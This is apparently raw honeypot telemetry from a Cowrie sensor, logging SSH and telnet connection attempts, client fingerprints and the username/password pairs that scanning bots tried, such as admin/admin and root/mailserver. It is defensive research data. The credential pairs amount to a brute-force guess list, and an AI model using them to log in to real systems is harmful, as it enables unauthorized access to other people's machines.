{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:08.761079Z","src_ip":"46.101.176.66","session":"2120ae648258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.4","message":"Connection lost after 23.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:11.618470Z","src_ip":"46.101.176.66","session":"2120ae648258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.176.66","src_port":46936,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b533599cde4","protocol":"ssh","message":"New connection: 46.101.176.66:46936 (159.203.135.109:22) [session: 7b533599cde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:12.849761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:15.764266Z","src_ip":"46.101.176.66","session":"7b533599cde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:15.769511Z","src_ip":"46.101.176.66","session":"7b533599cde4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:30.372655Z","src_ip":"46.101.176.66","session":"7b533599cde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.3","message":"Connection lost after 19.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:32.187971Z","src_ip":"46.101.176.66","session":"7b533599cde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":52198,"dst_ip":"159.203.135.109","dst_port":22,"session":"730f0171d256","protocol":"ssh","message":"New connection: 217.154.192.185:52198 (159.203.135.109:22) [session: 730f0171d256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:40.618970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:40.624111Z","src_ip":"217.154.192.185","session":"730f0171d256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:40.724774Z","src_ip":"217.154.192.185","session":"730f0171d256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"useruser","message":"login attempt [user1/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:41.159295Z","src_ip":"217.154.192.185","session":"730f0171d256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52834,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff0cbf4f553","protocol":"ssh","message":"New connection: 159.203.92.129:52834 (159.203.135.109:22) [session: 1ff0cbf4f553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:42.257837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:42.263014Z","src_ip":"159.203.92.129","session":"1ff0cbf4f553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:42.268043Z","src_ip":"159.203.92.129","session":"1ff0cbf4f553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:42.275761Z","src_ip":"217.154.192.185","session":"730f0171d256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ajax","password":"ajax","message":"login attempt [ajax/ajax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:42.288227Z","src_ip":"159.203.92.129","session":"1ff0cbf4f553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:58:43.294569Z","src_ip":"159.203.92.129","session":"1ff0cbf4f553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":46164,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfa2360bf827","protocol":"ssh","message":"New connection: 91.134.240.52:46164 (159.203.135.109:22) [session: dfa2360bf827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:14.088528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:14.123135Z","src_ip":"91.134.240.52","session":"dfa2360bf827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:14.196569Z","src_ip":"91.134.240.52","session":"dfa2360bf827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres321","message":"login attempt [postgres/postgres321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:14.499473Z","src_ip":"91.134.240.52","session":"dfa2360bf827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:15.592296Z","src_ip":"91.134.240.52","session":"dfa2360bf827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53920,"dst_ip":"159.203.135.109","dst_port":22,"session":"226b04838888","protocol":"ssh","message":"New connection: 159.203.92.129:53920 (159.203.135.109:22) [session: 226b04838888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:27.204532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:27.210215Z","src_ip":"159.203.92.129","session":"226b04838888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:27.231810Z","src_ip":"159.203.92.129","session":"226b04838888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ajs","password":"123456","message":"login attempt [ajs/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:27.251971Z","src_ip":"159.203.92.129","session":"226b04838888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:28.258818Z","src_ip":"159.203.92.129","session":"226b04838888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":43056,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6320f16c6fc","protocol":"ssh","message":"New connection: 217.154.192.185:43056 (159.203.135.109:22) [session: d6320f16c6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:28.476082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:28.481194Z","src_ip":"217.154.192.185","session":"d6320f16c6fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:28.573736Z","src_ip":"217.154.192.185","session":"d6320f16c6fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailserver","message":"login attempt [root/mailserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:28.998009Z","src_ip":"217.154.192.185","session":"d6320f16c6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:30.093763Z","src_ip":"217.154.192.185","session":"d6320f16c6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00102066993713,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:36.565460Z","src_ip":"177.12.183.226","session":"793116fdec9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.12.183.226","src_port":31025,"dst_ip":"10.17.0.5","dst_port":23,"session":"345bd3475f26","protocol":"telnet","message":"New connection: 177.12.183.226:31025 (10.17.0.5:23) [session: 345bd3475f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:59:39.796415Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.157.157.168","src_port":45360,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c6f96fc78a1","protocol":"telnet","message":"New connection: 102.157.157.168:45360 (159.203.135.109:23) [session: 9c6f96fc78a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:08.666566Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45232,"dst_ip":"159.203.135.109","dst_port":22,"session":"3457645e1f16","protocol":"ssh","message":"New connection: 159.203.92.129:45232 (159.203.135.109:22) [session: 3457645e1f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:16.062215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:16.098269Z","src_ip":"159.203.92.129","session":"3457645e1f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:16.102194Z","src_ip":"159.203.92.129","session":"3457645e1f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ajs","password":"ajs123","message":"login attempt [ajs/ajs123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:16.251095Z","src_ip":"159.203.92.129","session":"3457645e1f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:17.264300Z","src_ip":"159.203.92.129","session":"3457645e1f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":38976,"dst_ip":"159.203.135.109","dst_port":22,"session":"93c8fc166e18","protocol":"ssh","message":"New connection: 217.154.192.185:38976 (159.203.135.109:22) [session: 93c8fc166e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:19.338561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:19.344532Z","src_ip":"217.154.192.185","session":"93c8fc166e18","protocol":"ssh"}
